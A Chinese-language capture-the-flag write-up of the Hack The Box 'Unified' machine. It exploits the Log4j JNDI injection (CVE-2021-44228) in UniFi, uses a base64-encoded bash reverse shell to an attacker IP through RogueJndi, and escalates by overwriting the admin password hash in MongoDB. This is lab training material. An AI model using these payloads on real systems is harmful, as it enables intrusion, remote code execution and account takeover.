HTB_Unified_log4j_jndi注入&mongodb修改用户hash

信息收集

nmap -sV -v 这次扫描时间很长,因为默认只扫 1000 个常用端口,如果扫到大端口就会自动扫描全端口,可以自行加速

22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
6789/tcp open  ibm-db2-admin?
8080/tcp open  http-proxy
8443/tcp open  ssl/nagios-nsca Nagios NSCA

SSH 登录尝试失败,6789 端口是 db2 数据库的管理端口,8080 端口是个代理转发端口,访问会重定向到 8443 端口是 UniFi 6.5.54 产品的页面,发现该版本存在 CVE-2021-44228 漏洞

在这里插入图片描述

在这里插入图片描述

漏洞复现

尝试复现 CVE-2021-44228,曾经风靡一时的漏洞 Apache log4j,这是 java 比较常用的日志监控组件

原理就是我们创建一个恶意服务,服务器请求执行,达到控制的目的,以rmi为例

RMI是Java的一组拥护开发 分布式应用程序 的 API 。 RMI使用Java语言 接口 定义了远程对象,它集合了Java序列化和Java远程方法协议 (Java Remote Method Protocol)。 简单地说,这样使原先的程序在同一操作系统的方法调用,变成了不同操作系统之间程序的方法调用

RmiServer.java

package log4j_unser;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiServer {
    public static void main(String[] args) throws Exception{
        // 创建远程对象
        RemoteHelloWorld hello = new RemoteHelloWorld();
        // 创建注册表
        Registry registry = LocateRegistry.createRegistry(1099);
        // 将远程对象注册到注册表里面,绑定地址 远程函数实现的是执行弹计算器的命令
        registry.rebind("rmi://127.0.0.1:12345/Hello",hello);
        // registry.rebind("Hello",hello);
    }
}

RemoteHelloWorld接口

package log4j_unser;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IRemoteHelloWorld extends Remote {
    public String hello() throws RemoteException;
}

RemoteHelloWorld接口实现

package log4j_unser;

import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld {
    protected RemoteHelloWorld() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    @Override
    public String hello() throws RemoteException {
        System.out.println("Callback");
        return "Hello";
    }
}

执行RmiServer.java
在这里插入图片描述

漏洞验证

请求登录接口

在这里插入图片描述

修改为

"remember":"${jndi:ldap://10.10.16.18/acxsc}"

在这里插入图片描述

目的是让服务器反向连接我们的攻击机,访问本机的方法

攻击机监听389端口,这是LDAP的默认端口,监听tun0网卡(与目标同一网络),成功连接,存在该漏洞

在这里插入图片描述

漏洞利用

准备payload,输出base64编码

echo 'bash -c bash -i >&/dev/tcp/10.10.16.18/4444 0>&1' |base64 
YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMTgvNDQ0NCAwPiYxCg==

搭建 ldap 服务器,传递 payload

java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,BASE64 STRING HERE}|
{base64,-d}|{bash,-i}" --hostname "{YOUR TUN0 IP ADDRESS}"

在这里插入图片描述

发送数据,工具固定格式

在这里插入图片描述

连接成功

在这里插入图片描述

第二种获取交互式命令行的方法

script /dev/null -c bash

在这里插入图片描述

$flag
cat /home/michael/user.txt

提权

检查mongodb是否在目标机器上运行

ps aux | grep mongo

在这里插入图片描述

尝试读取管理员密码,UniFi程序的默认端口是ace,查询admin表的数据

mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

在这里插入图片描述

x_shadow即是密码哈希, SHA-512 算法使用一个以 $6$ 开头的 16 字符字符串盐值进行散列

  • $6$开头的,表明是用SHA-512加密的;

  • $1$开头的,表明是用MD5加密的;

  • $2$开头的,表明是用Blowfish加密的;

  • $5$开头的,表明是用 SHA-256加密的。星号代表帐号被锁定

    ps:是在linux shadow文件才这么表示

由于是散列函数,无法破解,只能使用替换方法

// 加密PassWord1234
mkpasswd -m sha-512 Password1234
$6$YqozzJiM1m7BfLpC$DhsQOccAVLaHIeU3t8cinVUrDH.8SlqT5XsdFpTnq1pGKb.3BbxXP8UOaqiWNqNIEhULcX1YWBGnlHBpnzio..

每次加密会随机生成盐,用于加密

$6$YqozzJiM1m7BfLpC$DhsQOccAVLaHIeU3t8cinVUrDH.8SlqT5XsdFpTnq1pGKb.3BbxXP8UOaqiWNqNIEhULcX1YWBGnlHBpnzio..
$6$:使用sha-512散列函数
$YqozzJiM1m7BfLpC$:随机生成的盐
DhsQOccAVLaHIeU3t8cinVUrDH.8SlqT5XsdFpTnq1pGKb.3BbxXP8UOaqiWNqNIEhULcX1YWBGnlHBpnzio..:加密后的结果, linux中是86位

替换现有hash

mongo --port 27117 ace --eval 'db.admin.update({"_id":
ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"SHA_512 Hash Generated"}})'
# ObjectId("61ce278f46e0fb0012d47ee4")是管理员id

使用修改后的账号密码登录,在设置setting—>site中查看ssh密码,并远程连接,为 root 权限

ssh 10.129.145.178
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值